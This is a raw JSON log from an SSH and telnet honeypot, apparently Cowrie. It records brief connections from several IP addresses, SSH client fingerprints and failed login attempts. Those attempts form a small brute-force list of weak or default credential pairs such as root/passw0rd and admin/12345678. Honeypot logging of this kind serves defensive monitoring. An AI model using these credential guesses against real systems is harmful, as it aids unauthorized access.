{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:22.383196Z","src_ip":"83.168.110.85","session":"c882b890b724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:23.380528Z","src_ip":"193.228.128.84","session":"bef33fca7969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55600,"dst_ip":"10.17.0.5","dst_port":22,"session":"003114fe184c","protocol":"ssh","message":"New connection: 83.168.110.85:55600 (10.17.0.5:22) [session: 003114fe184c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:27.468228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:27.473597Z","src_ip":"83.168.110.85","session":"003114fe184c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:27.595234Z","src_ip":"83.168.110.85","session":"003114fe184c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:27.957628Z","src_ip":"83.168.110.85","session":"003114fe184c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:29.083063Z","src_ip":"83.168.110.85","session":"003114fe184c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.10548210144043,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:29.986634Z","src_ip":"152.42.224.71","session":"9f34bfd8a622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32786,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3fc8e2e8108","protocol":"ssh","message":"New connection: 83.168.110.85:32786 (10.17.0.5:22) [session: a3fc8e2e8108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:34.167662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:34.172480Z","src_ip":"83.168.110.85","session":"a3fc8e2e8108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:34.292886Z","src_ip":"83.168.110.85","session":"a3fc8e2e8108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:34.762909Z","src_ip":"83.168.110.85","session":"a3fc8e2e8108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:35.893283Z","src_ip":"83.168.110.85","session":"a3fc8e2e8108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43892,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db8b505f880","protocol":"ssh","message":"New connection: 62.133.62.83:43892 (159.203.135.109:22) [session: 2db8b505f880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:38.011059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:38.015484Z","src_ip":"62.133.62.83","session":"2db8b505f880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:38.094756Z","src_ip":"62.133.62.83","session":"2db8b505f880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123567","message":"login attempt [root/123567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:38.336428Z","src_ip":"62.133.62.83","session":"2db8b505f880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:39.418439Z","src_ip":"62.133.62.83","session":"2db8b505f880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38862,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb94690deb7","protocol":"telnet","message":"New connection: 176.65.139.118:38862 (159.203.135.109:23) [session: 1eb94690deb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:39.568375Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e5bf9943487","protocol":"ssh","message":"New connection: 83.168.110.85:32790 (10.17.0.5:22) [session: 6e5bf9943487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:41.360896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:41.387789Z","src_ip":"83.168.110.85","session":"6e5bf9943487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:41.484226Z","src_ip":"83.168.110.85","session":"6e5bf9943487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:41.965024Z","src_ip":"83.168.110.85","session":"6e5bf9943487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:43.199711Z","src_ip":"83.168.110.85","session":"6e5bf9943487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:45.821665Z","src_ip":"176.65.139.118","session":"1eb94690deb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45586,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b993aff307e","protocol":"ssh","message":"New connection: 83.168.110.85:45586 (10.17.0.5:22) [session: 1b993aff307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.364763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.373065Z","src_ip":"83.168.110.85","session":"1b993aff307e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.494559Z","src_ip":"83.168.110.85","session":"1b993aff307e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.137027978897095,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.705278Z","src_ip":"176.65.139.118","session":"1eb94690deb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.859151Z","src_ip":"83.168.110.85","session":"1b993aff307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":60904,"dst_ip":"159.203.135.109","dst_port":23,"session":"47fd683bc490","protocol":"telnet","message":"New connection: 176.65.139.118:60904 (159.203.135.109:23) [session: 47fd683bc490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:48.864042Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:50.302404Z","src_ip":"83.168.110.85","session":"1b993aff307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53221,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fb6e97bed6a","protocol":"ssh","message":"New connection: 2.57.121.112:53221 (159.203.135.109:22) [session: 7fb6e97bed6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:53.296174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:53.301178Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:53.400331Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4893","message":"login attempt [admin/4893] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:53.870607Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4815162342a","message":"login attempt [admin/4815162342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:54.974535Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42994,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc40ddfc248a","protocol":"ssh","message":"New connection: 83.168.110.85:42994 (10.17.0.5:22) [session: bc40ddfc248a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:55.617887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:55.622964Z","src_ip":"83.168.110.85","session":"bc40ddfc248a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:55.744136Z","src_ip":"83.168.110.85","session":"bc40ddfc248a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:55.996916Z","src_ip":"176.65.139.118","session":"47fd683bc490","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"481516234","message":"login attempt [admin/481516234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:56.077556Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:56.114572Z","src_ip":"83.168.110.85","session":"bc40ddfc248a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"481516","message":"login attempt [admin/481516] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:57.179981Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:57.346208Z","src_ip":"83.168.110.85","session":"bc40ddfc248a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4578","message":"login attempt [admin/4578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:58.286127Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:59.388579Z","src_ip":"2.57.121.112","session":"7fb6e97bed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43002,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8ee847532f8","protocol":"ssh","message":"New connection: 83.168.110.85:43002 (10.17.0.5:22) [session: c8ee847532f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:02.673061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:02.679562Z","src_ip":"83.168.110.85","session":"c8ee847532f8","protocol":"ssh"}
